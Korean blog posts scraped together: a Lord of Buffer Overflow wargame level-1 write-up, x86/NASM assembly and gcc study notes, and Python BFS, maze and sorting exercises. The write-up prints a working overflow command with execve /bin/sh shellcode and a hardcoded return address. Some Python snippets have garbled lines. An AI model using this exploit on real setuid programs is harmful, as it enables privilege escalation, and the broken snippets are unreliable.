BOF원정대

level1 gate

 

id : gate / pw : gate 아이디와 비밀번호가 똑같다.

우선 해당 디렉토리안에 어떠한 파일이 있는지 확인을 해보았다.

이어서 실행파일과 소스파일있는것을 보았다. 우선 소스파일을 확인을 해보았다.

버퍼256을 argv복사해서넘기는걸볼수가 있다.

 

 

원래 실행파일을 gdb로 분석이 되지않아서 파일을 복사를 했다. 그리고 현재 있는 쉘변경을 해줘야 gdb분석을할수 있어서 쉘변경까지 했다.

 

 

 

 

gdb로 strcpy함수를 부를때 break를 걸어서 입력되기전과 된후를 비교해보았다.

버퍼의 인자가 입력되기 前

 

버퍼의 인자가 입력이 된 後

 

버퍼의 시작점을 입력되기전과 된후를 본 이유는 공격문을 작성할때 버퍼를이용하면 되기 떄문이다.

 

공격문은 이러하다. 공격문은 버퍼를 이용하여 256보다 4바이트 크게 잡으면된다. 왜냐하면 ret값으로 돌려주기 때문이다. 돌려주는 값은 버퍼의 시작주소를 넣으면된다.

 

./gremlin $(python -c 'print "\x90"*199 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*16 + "AAAA" +"\x08\xf9\xff\xbf"')

 

 

 

'문제풀이 > BOF원정대' 카테고리의 다른 글

level2(gremlin -> cobolt)  (0) 2017.09.14

조건문

cmp  openrend1,    openrend2

- 숫자와 문자는 비교 가능하다. 하지만 문자열 비교는 안된다.

 

플래그레지스터를 우선보도록 하자.

 

여기서 두 연산을 비교 하여 나온결과에서 Zero Flag와 Sign Flag만 보면된다. 

 

 openrend1  - openrend2

 

1. 음수 :  openrend2가 더 크다.

 

ZF = 0

SF = 1

 

 

 

 

비교 결과를 계산기에 입력하여 2진수로 결과를 출력을하여 보면 Zero Flag(ZF)가 0, Sign Flag(SG)가 1인것을 알 수가 있다.

 

2.양수 : openrend1이 더 크다.

 

ZF = 0

SF = 0

 

 

비교 결과를 계산기에  결과값을 입력하여 2진수로 바꾸어서  출력을하여 보면 Zero Flag(ZF)와  Sign Flag(SG)둘다  ' 0 '인것을 알 수가 있다

 

 

3. 0 : openrand1 와 operand2는 같다.

 

ZF = 1

SF = 0

 

 

마찬가지로 계산기 입력하여 2진수로 바꾼 후 결과값 Sign Flag, Zero Flag를 확인할 수 가 있다.

 

분기문

 - 분기문은 두가지로 나눌수 있다. 무조건 분기문, 조건 분기문으로 나눌수 있다.

 

1) 무조건 분기문

 - 무조건 분기문을 만나면, 다음문장으로 넘어간다.

 

문법

- jmp    address

 

jmp 문을 만나면 바로 밑에 push문을 실행하지 않고 labal이 존재하는 구간으로 넘어 간다.

 

 

2)조건 분기문

 - 조건 분기문 종류

 

 

간단한 예제

 - 리눅스말구 vistual stdio 2015에서는 어떻게 되는지 간단한 소스를 짜보았다.

 

 

'정보보안 > 시스템보안' 카테고리의 다른 글

연산자  (0) 2017.07.19
어셈블러  (0) 2017.07.15
리눅스 컴파일  (0) 2017.07.13

연산자

 

1. 사칙연산 : +, -, *, /

1) add (+)

 

설명

 - eax레지스터에 우선 10을 넣고, add명령어를 통해서 20을 더해서 30을 출력하게됩니다.

 

 

2) sub

 - add명령어와 사용하는 법은 똑같다.

 

3)mul(unsigned 연산(부호없는 형태의 곱셉))

 

mul은 오퍼랜드가 하나이다. 상수는 안되고 레지스터나 메모리만 된다.

자동으로 EAX레지스터 어큐물레이터 레지스터에서 갖고와서 다시 어큐물레이터에 넣어 준다.

 

4) imul

 - 음수를 포함한 수를 곱할때 필요한 명령어.

 - eax와의 연산만이 아닌 레지스터끼리의 곱, eax가 아닌 다른레지스터와 메모리의 곱 상수와의 곱을 가능하게 한다.

 

 

 imul source

 eax와의 곱셉, 레지스터와 메모리만 올수 있다.

 imul resgiser, source

 두개의 operand를 가진다. add의 형식을 같이 곱한값이 operand1로 대입된다.

 imul r,esgister, source, immediate

 두개의 operand와 immediate 즉 상수를 가진다.

 

 

 

5)div

 - 8,16,32비트 부호 없는 정수의 나눗셈을 수행한다.

 

div    regrister / mem

 

* 곱셉과 차이는 나누기전에 값을 저장할 메모리를 확장한다는것.

 

 

 

 

 

 

'정보보안 > 시스템보안' 카테고리의 다른 글

조건문  (0) 2017.07.30
어셈블러  (0) 2017.07.15
리눅스 컴파일  (0) 2017.07.13

NASM

 - INTEL문법을 사용한다.

 - gcc와 같은 컴파일러이다.

 - 확장자가 .asm파일을 바이너리(elf)형태로 변환한다.

 

기계어 : CPU가 직접 해독하고 실행할 수 있는 비트 단위로 쓰인 컴퓨터언어를 통틀어 일컫는다. 프로그램을 나타내는 가장 낮은 단계의 개념이다.

 - 기계어는 CPU의 종류에 따라서 서로 다른 코드를 갖게 된다.

 - 기계어는 어셈블리어와 1대1로 쓰일수 있다.

 - IA32는 인텔에서 사용하는 기계어.

 

* CPU가 어디 쓰냐에 따라서 달리진다. NASM을 쓰는 이유는 대부분의 컴퓨터에서 CPU를 INTEL것을 쓰기 떄문에 사용한다.

 

데이터의 기본단위.

단위 

 크기

문자 

C언어에서의 표현방법 

byte 

1byte 

char 

word 

2byte 

 w

 short

 double word

4byte 

int, long, float 

quad word 

8byte 

long long, double 

ten byte 

10byte 

 

 

- 초기화된 데이터를 사용하는 방법.

segment        .data

label    크기    상수

ex)      

      db    0x55                ; char ch = 0x55;
      db    0x55,0x56,0x57      ; char ch[] = {0x55,0x56,0x57};
      db    'a',0x55            ; char ch[] = {'a',0x55};
      db    'hello',13,10,'$'   ; char ch[] = 'hello \r\n$'
      dw    0x1234              ; short word = 0x1234
      dw    'a'                 ; short word = 'a';
      dw    'ab'                ; shorr word = 'ab';
      dw    'abc'               ; shorr word[] = {'a','b','c',00};
      dd    0x12345678          ; int dword = 0x12345678;
      dd    1.234567e20         ; float dword = 1.234567e20;
      dq    0x123456789abcdef0  ; long long int quad = 0x123456789abcdef0;
      dq    1.234567e20         ; double quad = 1.234567e20;
      dt    1.234567e20         ; extended-precision float

 

초기화되지 않는 데이터(bss)

segment     .bss

label    크기    개수

 

ex)

buffer:         resb    64               ; reserve 64 bytes ; char buffer[64];
wordvar:        resw    1               ; reserve a word   ; short wordvar;
realarray       resq    10               ; array of ten reals ; double realarray[10];

zerobuf:        times 64 db 0         ; char zerobuf[64] = {0,}; 초기화하기 위해서 선언하는법

 

(0)_(0)(0)_(0)
(=^.^=)(*^.^*)
(_m_m_)(_m_m_)
이와같은 문자를 어셈블리어를 통해서 출력을 해보자.

 

데이터 영역에서 문자를 넣어주고, main함수를 안에서 printf를 세번 불러서 출력을 할수 가 있다.

 

결과

 

범용레지스터 : 데이터와 주소를 모두 저장할 수 있는 레지스터.

EAX(Extended Accumulator Resgistr)- 피연산자 및 결과 데이터 누산기
EBX(  Base  ) - DS 세그먼트의 데이터에 대한 포인터 (유효주소 나타낼때 주로사용)
ECX(  Counter  )- 문자열 및 루프 연산 카운터
EDX(  Data  ) - I / O 포인터

 - 레지스터의 용도가 정확히 정해져 있다.

 

포인터 레지스터 : 주소를 다루는 레지스터.

ESI(Extended  Source  Index)
EDI(  Dst.      )
ESP(      Stack      Pointer)
EBP(      Base         )
EIP(     Instruction  )

 

★★ 플래그 레지스터

 - 프로세스의 상태 정보를 저장.

 

 

 

 

 

 

 

'정보보안 > 시스템보안' 카테고리의 다른 글

조건문  (0) 2017.07.30
연산자  (0) 2017.07.19
리눅스 컴파일  (0) 2017.07.13

솔직히 처음 보았을때 뭔소리인지 잘몰랐었다.

 

보면 K -> M, O->Q, E ->G 두칸씩 밀려나는것을 알 수 가 있었다.

그건 그렇고 근대 위에 그림은 대문자인대 핑크색은 소문자네???그래서 한참동안 찿아보았다.

알고보니 핑크색 문자를 이용해서 문자변환을 하는거 였었다.....

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
password = input("암호입력 : ")
 
= ''
 
for i in password:
    if ord(i) >=97 and ord(i) <=122:
        if ord(i)+>122:
            a +=chr(ord(i)-24)
        else:
            a +=chr(ord(i)+2)
 
    else:
        a += ' '
 
print(a)
 
cs

 

 

 

결과

url을 건들려보라는 말같았다.

 

 

그래서 인터넷을 찾아보고 URL부분에서 map부분을 ocr로 바꾸어줘 봤다.

 

 

정답~!!

 

심심할때 마다 한번씩 풀어봐야겟다.

 

 

 

 

리눅스 Gcc(Gnu C cimplier) : GNU시스템의 공식 컴파일러

 - 윈도우 환경에서는 visual studio, Dev C++ 에서 C언어로 코드를 작성 후, 그안에 컴파일을 통해 실행파일인 확장자exe 생성이 되어 실행이된다.

 하지만 리눅스에서는 vi편집기를 통해서 C코드로 작성하여 Gcc를 통해서 컴파일을 하여 실행파일을 생성하여 프로그램을 실행할 수 있다. 

 

소스코드(.c)를 vi를 통해서 C언어로 소스코드 작성.

(1)컴파일 과정.

 

1.전처리(Preprocessing) : 입력 데이터를 처리하여 다른 프로그램에 대한 입력으로서 사용되는 출력물을 만들어내는 프로그램이다.

 - 전처리 후 소스(.i) - 전처리가 끝이 나면 확장자가 i인 파일이 생성

 

2. 컴파일 : 기계어와 가장 유사한 형태인 어셈블리어로 변환 한다.

- 파일의 확장자( .s ) s를 가진 파일이 생성.

 

 

3.  어셈블리 : 2진수로 이루어진 기계어로 된 파일이 생성

 - 파일의 확장자자( .o ) o인 파일이 생성.

 

4. 링커 : 목적파일과 실행에 필요한 라이브러리들을 하나로 묶어준다.

 - 실행파일(.exe) : 링크에 의해 실행 할 수 있는 파일을 생성.

 - 리눅스에서는 컴파일 할 때 이름을 지정할 수 있다. 이름을 지정하지 않은경우 보통 알파벳으로 실행파일이 나온다. (알파벳순서로 나오는건지 아니면 랜덤하게 나오는건지는 모르겟다.)

 

(2)objdump

 - 하나 이상의 목적 파일의 정보를 화면에 표시하는 프로그램.

 - Disassemble이 가능하다.

 - 오프젝트 파일들의 내용을 읽을때 BFD라이브러리를 사용한다.

 

형식

 - objdump [option] [filename]

 

옵션

 - f : 파일포맷, 아키텍쳐, 플래그, 시작주소에 대한 정보가 출력.

 

- d : 파일 실행 영역이 디스어셈블되어 출력

 

 - h : 섹션 헤더의 정보를 출력

 

 

(3) 간단한 C소스코드 만들어서보기

 

당연히 Hello,World!!!가 출력되는 것은 누구가 다 아는 것이다.

그럼 컴파일 하는동안 어떤 파일이 만들어지고 그러한

과정을 보기 위해서는 "gcc -v hello.c" 또는 "gcc -v -save-temps"와 같은 명령어로 하면 컴파일 과정을 볼 수 가 있다.

 

 

 

그후 디렉토리 안에 있는 파일을 보면 컴파일을 통해 각각 만들어진 임시 파일 및 실행 파일까지 볼 수 가 있다.

 

그래서 실행파일인 hello파일이 어떻게 되었는지 xxd 와 objdump를 통해 알아보도록 했다.

먼저 objdump를 먼저 봤다. (objdump -d hello)

 

많은 내용이 나오지만 main부분을 봤다. 그후 xxd로도 봤다.

 

파일을 보면 왼쪽에는 메모리 주소이다.(보통 파일구조 그대로 메모리로 올라가기 때문)

 

대략 뒤 3자리를 참조 하면된다.

그래서 3d0를 확인해보았다.

3d0위치를 우리가 확인했던 바이너리 문자로도 볼 수 있다.

 

이어서 어셈블리어로 똑같은 기능하는 프로그램을 만들어 보기로 했다.

우선 hello.o파일을 어떻게 되어있는지 확인을 해보았다.

 

 

각각의 Section(segment) 단위로 나누어져 있는것을 알 수가 있다.

이와 마찬가지로 어셈블리어로 코딩을 할 때 도 나누어져야 된다.

 

각각 Section 설명

1) text Section : 실행코드

2) data Section : 초기화된 데이터 영역

3) bss Section : 비초기화된 데이터 영역
 - 지역변수는 파일안에 포함을 안시킨다.  
 * 지역변수는 함수가 실행되야 실행되기때문. 

 

어셈블리 코딩하는법

1. C표준 라이브러리를 이용한작성

 

2. assemble함수를 사용하지 않고 화면에 출력.

 

작성법은


segment         .data
; .data segment에 들어갈 내용들 ..
segment         .bss
; .bss에 들어갈 내용들
segment         .text
global          main; gcc를 사용하기 위해서 선언
; .text에 들어갈 내용(실행문장)...

 

첫번째 방법작성한 어셈블리 코딩

 

컴파일 방법은 "nasm -f elf hello1.asm -o hello1.o" 이걸 통해서 목적파일을 생성하고, C컴파일러인 "gcc -o hello1 hello1.o" 통해서 실행파일을 생성한다.

실행파일을 실행하면 세그먼테이션 폴트가 난다. 이유가 들어보니 리턴문이 없어서 그런거라고 들었다.

 

두번째 방법으로 코딩을 해본것이다.

 

컴파일 하는 방법만 다르지 결과는 똑같았다.

nasm -f elf hello2.asm -o hello2.o
ld -o hello2 hello2.o

 

 

'정보보안 > 시스템보안' 카테고리의 다른 글

조건문  (0) 2017.07.30
연산자  (0) 2017.07.19
어셈블러  (0) 2017.07.15

이러한 미로가 있다고 할떄, 펜을 들고 손으로 할떄 쉽게 풀수가 있을것이다. 허나 컴퓨터에서는 어떻게 할수 있을까?

그래프를 이용하면 표현 할 수 가 있습니다.

 

각각 구역을 나누어 4 X 4로 나누어서 알파벳을 붙이면

 

이와같습니다.

 

목적지까지 각노드를 연결하면 다음과 같습니다.


다음과 같이 표현할 수 있습니다.

 

그럼 파이썬으로 미로탐색을 코드는 다음과 같습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
'''
미러정보
미로의 각위치에 알파벳으로 이름을 지정
각 위치에서 한번에 이동할 수 있는 모든 위치를 선으로 연결하여 그래프로 표현
'''
maze = {
    'a' : ['e'],
    'b' : ['c','f'],
    'c' : ['b','d'],
    'd' : ['c'],
    'e' : ['a','i'],
    'f' : ['b','g','j'],
    'g' : ['f','h'],
    'h' : ['g','l'],
    'i' : ['e','m'],
    'j' : ['f','k','n'],
    'k' : ['j','o'],
    'l' : ['h','p'],
    'm' : ['i','n'],
    'n' : ['m','j'],
    'o' : ['k'],
    'p' : ['l']
    
    
    }
def solve_maze(g,start,end):
    qu = []         # 앞으로 이동해야할 경로를 qu에 저장
    done = set()    # qu에 추가한 꼭짓점들을 집합에 기록(중복방지)
 
    qu.append(start) # 출발점을 qu에 추가
    done.add(start) # 집합에도 추가.
 
    while qu:       # qu에 처리할 경로가 남아 있으면.
        p = qu.pop(0)   # 큐에서 처리할 대상을 꺼냄.
        v = p[-1]       # 큐에 저장된 이동경로의 마지막 문자가 현재 처리해야 할 꼭짓점.
 
        if v == end:    # 처리해야할 꼭지점이 목적지이면 종료.
            return p    # 지금까지의 전체 이동경로를 돌려주고 종료.
 
        for x in g[v]:  # 대상꼭지점에 연결된 꼭지점중에
 
            if x not in done :  # 아직 qu에 추가 된적이 없는 꼭지점을
                qu.append(p+x)  # 이동경로에 새꼭지점으로 추가하여 저장
                done.add(x)     # 집합에도 추가
 
    return '?'
 
print(solve_maze(maze,'a','p'))
 
cs

 

 

보시면 각 노드들의 정보는 딕셔너리 타입으로 구성을 해주고, 미로 탐색 함수를 통해 작동하는것을 알 수 가 있습니다.

 

결과

 

 

 

 

'programing > Python_알고리즘' 카테고리의 다른 글

그래프  (0) 2017.07.04
버블정렬  (0) 2017.07.04
퀵 정렬  (0) 2017.07.01
병합정렬  (0) 2017.06.30
삽입정렬  (0) 2017.06.05

 

 ┌------Summer--------

 |              |                 |

John----Justin--------Mike

                |                                        Tom

             May                                        |    

               |                                        Jerry

             Kim

 

이러한 그래프를 그릴려고 한다. C언어와 다르게 파이썬에서는 딕셔너리를 이용해서 표현 할수 있다. 각 꼭지점을 Key값으로 지정 하고, 선으로 연결된 꼭지점을 Value값으로 지정해주면된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
fr_info = {
    'Summer' : ['John','Justin','Mike'],
    'John' : ['Summer','Justin'],
    'Justin' : ['John','Summer','Mike','May'],
    'Mike' : ['Summer','Justin'],
    'May' : ['Justin','Kim'],
    'Kim' : ['May'],
    'Tom' : ['Jerry'],
    'Jerry' :  ['Tom']
    }
def find_friend(g,start):
    qu = []     # 기억장소 : 앞으로 처리해야 할 사람들을 큐에 저장
    done = set()    # 기억장소 : 이미 큐에 추가한 사람들을 집합에 기록(중복 방지)
 
    qu.append(start) # 자신을 큐에 넣고 시작
    done.add(start)  # 집합에도 추가
 
    while qu :      # 큐에 처리할사람이 남아있는동안
        p = qu.pop(0)   # 큐에서 처리 대상을 한명을 꺼내
        print(p)        # 이름을 출력
 
        for x in g[p]:
            if x not in done:   # 아직 큐에 추가된적이 없는 사람을 
                qu.append(x)    # 큐에 추가하고
                done.add(x)     # 집합에도 추
 
find_friend(fr_info,'Summer')
print()
find_friend(fr_info,'Jerry')
 
 
cs

 

결과 

 

(문제)

 

┌----1----┐

2         3

|

 4---┴---5

위 그래프를 통해 탐색하는 프로그램을 만들어 보세요(탐색은 1부터 시작).

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
= {
    :[2,3],
    : [1,4,5],
    : [1],
    : [2],
    : [2]  
    }
def bfs(g,start):
    qu = []     # 기억장소 : 앞으로 처리해야 할 사람들을 큐에 저장
    done = set()    # 기억장소 : 이미 큐에 추가한 노드들을 집합에 기록(중복 방지)
 
    qu.append(start) # 자신을 큐에 넣고 시작
    done.add(start)  # 집합에도 추가
 
    while qu :      # 큐에 처리할사람이 남아있는동안
        p = qu.pop(0)   # 큐에서 처리 대상을 한명을 꺼내
        print(p)        # 이름을 출력
 
        for x in g[p]:
            if x not in done:   # 아직 큐에 추가된적이 없는 사람을 
                qu.append(x)    # 큐에 추가하고
                done.add(x)     # 집합에도 추
bfs(g,1)
print()
cs

 

결과 

 

    

 

 

'programing > Python_알고리즘' 카테고리의 다른 글

미로탐색  (0) 2017.07.10
버블정렬  (0) 2017.07.04
퀵 정렬  (0) 2017.07.01
병합정렬  (0) 2017.06.30
삽입정렬  (0) 2017.06.05

버블정렬을 만들어보았다.

1
2
3
4
5
6
7
8
9
10
11
12
13
def bubble_sort(a):
    n = len(a)
 
    for i in range(0,n):
        for j in range(0,n-1):
            if a[j] > a[j+1]: # 앞에 있는자료와 비교
                a[j],a[j+1= a[j+1],a[j]   # 위치를 서로 비교해준다.
                print(a) # 정렬되는 과정을 출력.
 
= [2,4,5,1,3]
print(d)               # 정렬 되기 전에 리스트의 상태를 출력 
bubble_sort(d)  # 버블정렬 함수를 불러 정렬
print(d)               # 정렬된 상태를 출력
cs

 

결과

 

알고리즘 분석

 - 버블정렬의 경우 최선의경우 O(n)으로 끝낼수 있다. 하지만  리스트안에 자료가 많이 있지 않았을때 의 경우이며, 평균적인 경우는 O(n²)이다. 정렬 알고리즘에서 최악이라고 볼수있다. 

 

'programing > Python_알고리즘' 카테고리의 다른 글

미로탐색  (0) 2017.07.10
그래프  (0) 2017.07.04
퀵 정렬  (0) 2017.07.01
병합정렬  (0) 2017.06.30
삽입정렬  (0) 2017.06.05

+ Recent posts

티스토리 친구하기